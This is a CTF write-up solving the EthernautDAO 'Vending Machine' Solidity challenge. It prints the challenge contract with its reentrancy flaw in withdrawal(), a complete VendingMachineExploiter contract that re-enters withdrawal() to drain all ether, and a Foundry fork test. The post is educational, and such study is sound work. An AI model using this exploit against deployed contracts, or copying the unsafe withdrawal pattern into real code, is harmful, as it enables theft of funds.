Ethereum

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Smart Contracts

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Solidity

EthernautDAO CTF — Vending Machine Solution

ΞthernautDAO is common goods DAO aimed at transforming developers into Ethereum developers.

They started releasing CTF challenges on Twitter, so how couldn’t I start solving them?

CTF 4: Vending Machine

The challenge start from this Tweet:

For this challenge, we have to deal only with a single Smart Contract called VendingMachine, a simple contract that models after a vending machine that provides only peanuts

At deployment time the contract is funded with 1 Ether and our goal is to drain it from the whole balance.

Study the contracts

Let’s start reviewing all the contracts code. The code is pretty big, but I will only describe those functions that are interesting to us.

constructor

constructor() payable {
    require(msg.value >= 1 ether, "You need a minimum of reserve of 1 ether before deploying the contract");
    owner = msg.sender;
    reserve = msg.value;
    peanuts[address(this)] = 2000;
    txCheckLock = false;
}

When the contract is deployed the msg.sender is set as the owner of the contract, the reserve variable is initialized with the amount of ether sent, the txCheckLock is initialized to false and the peanuts mapping is updated giving the contract itself 2000 peanuts.

Nothing special here, we are just interested to know that at deploy time there’s at least 1 ether in the contract's balance.

isStillValid function modifier

modifier isStillValid() {
    require(!txCheckLock, "Sorry, this product project has been hacked");
    _;
}

This function modifier, used almost everywhere, will just revert if the contract has been already hacked by someone

isExtContract(address _addr)

function isExtContract(address _addr) private view returns (bool) {
    uint32 _codeSize;
    assembly {
        _codeSize := extcodesize(_addr)
    }
    return (_codeSize > 0 || _addr != tx.origin);
}

The idea behind this function is that it will return true if the _addr address is a contract. The function determines if the _addr is a contract if one of these two requirements is met:

• the size of the code field of the address is greater than 0. If you want to know more about how this opcode work, go over EXTCODESIZE opcode documentation
• the _addr is not equal to the tx.origin

Why is crucial to not only rely on the code size? Because when a contract is deployed and the creator is executed, the extcodesize(address) would return 0. An interesting read about this topic is Deconstructing a Solidity Contract — Part II: Creation vs. Runtime.

deposit function

function deposit() public payable isStillValid {
    require(msg.value >= 0.1 ether, "You must have at least 0.1 ether to initiate transaction");
    consumersDeposit[msg.sender] += msg.value;
}

Allow the user to deposit at least 0.1 ether to the contract. The user balance is tracked by the consumersDeposit mapping variable.

withdrawal function

function withdrawal() public isStillValid {
    uint256 contractBalanceBeforeTX = getContractBalance();
    uint256 balance = consumersDeposit[msg.sender];
    uint256 finalContractBalance = contractBalanceBeforeTX - balance;
    require(balance > 0, "Insufficient balance");
    (bool sent, ) = msg.sender.call{value: balance}("");
    require(sent, "Failed to send ether");
    consumersDeposit[msg.sender] = 0;
    uint256 contractBalanceAfterTX = getContractBalance();
    if ((contractBalanceAfterTX < finalContractBalance) && isExtContract(msg.sender)) {
        txCheckLock = true;
    }
}

This is the most interesting and problematic function of the whole contract. The purpose of this function is to allow the msg.sender to withdraw the whole balance he/she has accumulated via the deposit function.

Note: All the variables and the last check are only important to track if the contract has been hacked or not and to not allow other auditors to submit a second solution, they are not important for this article scope.

Did you spot the huge red flag in the function?

The function implementation is not following the Use the Checks-Effects-Interactions Pattern allowing the msg.sender a way to re-enter the withdrawl function and keep withdrawing until the contract is completely drained.

The attack

To leverage the reentrancy exploit of the withdrawal function, we need to deploy a contract that will re-enter the function when the VendingMachine send the funds calling the contract's receive function.

contract VendingMachineExploiter {
    address private owner;
    VendingMachine private victim;
    bool private done = false;
    constructor(VendingMachine _victim) payable {
        // init
        owner = msg.sender;
        victim = _victim;
        // deposit the minimum amount we need to be able to start the attack
        victim.deposit{value: msg.value}();
    }
    function exploit() external {
        // Start the attack
        victim.withdrawal();
    }
    function withdraw() external {
        // Withdraw all the funds in the contract
        (bool sent, ) = owner.call{value: address(this).balance}("");
        require(sent, "Failed to send ether");
    }
    receive() external payable {
        // The receive function will be called by the `VendingMachine.withdrawal` function
        // And we use it to re-enter into it until we have drained all the funds
        if (address(victim).balance != 0) {
            victim.withdrawal();
        }
    }
}

Before moving on, I would like to explain something. It’s important to understand that you must deposit a specific amount to make it work correctly.

The withdrawal function will always withdraw the whole balance you have deposited via the deposit function.

This mean that if the balance of the VendingMachine contract before your deposit is X Ether you must deposit X Ether or an amount that is divisible by that X.

Let’s make an example. Inside the VendingMachine there is 10 ether

• if you deposit 10 ether you will need to call withdrawal two times. One to withdraw your deposit, one to withdraw the VendingMachine balance
• if you deposit 1 ether you will have to call withdrawl eleven times. One to withdraw your deposit and then 10 more times to withdraw the rest of the balance
• if you deposit 11 ether the contract will withdraw your 11 ether but it will also try to re-enter and withdraw the same amount. The transaction will fail because the contract only have 10 ether in its balance right now

So, the solution is to

• If you have enough funds, deposit the same amount of ether to match the contract balance. It will cost less gas because you will only call the withdrawal two times
• otherwise deposit an amount that still allows you to complete the challenge but prevent you to not revert because of the Out of Gas exception

Solution code

Now what we have to do is:

• Create an Alchemy or Infura account to be able to fork the Goerli blockchain
• Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
• Run a foundry test that will use the fork to execute the test

Here’s the code that I used for the test:

function testDrainVendingMachine() public {
    address player = users[0];
    vm.startPrank(player);
    uint256 initialPlayerBalance = player.balance;
    uint256 initialVendingMachineBalance = address(vendingMachine).balance;
    // deploy the VendingMachineExploiter contract
    VendingMachineExploiter exploiter = new VendingMachineExploiter{value: 0.1 ether}(vendingMachine);
    vm.label(address(exploiter), "VendingMachineExploiter");
    // start the exploit process
    exploiter.exploit();
    // send back all the funds to the player
    exploiter.withdraw();
    vm.stopPrank();
    // Assert that we have drained the `VendingMachine` contract
    assertEq(player.balance, initialPlayerBalance + initialVendingMachineBalance);
    assertEq(address(vendingMachine).balance, 0 ether);
}

Here is the command I have used to run the test: forge test --match-contract VendingMachineTest --fork-url <your_rpc_url> --fork-block-number 7235687 -vv

Just remember to replace <your_rpc_url> with the RPC URL you got from Alchemy or Infura.

You can read the full solution of the challenge, opening VendingMachine.t.sol

Further reading

• EXTCODESIZE opcode
• Deconstructing a Solidity Contract — Part II: Creation vs. Runtime
• Solidity Docs: Use the Checks-Effects-Interactions Pattern
• SWC-107: Reentrancy
• Consensys: Ethereum Smart Contract Best Practices — Reentrancy

Disclaimer

All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.

DO NOT USE IN PRODUCTION.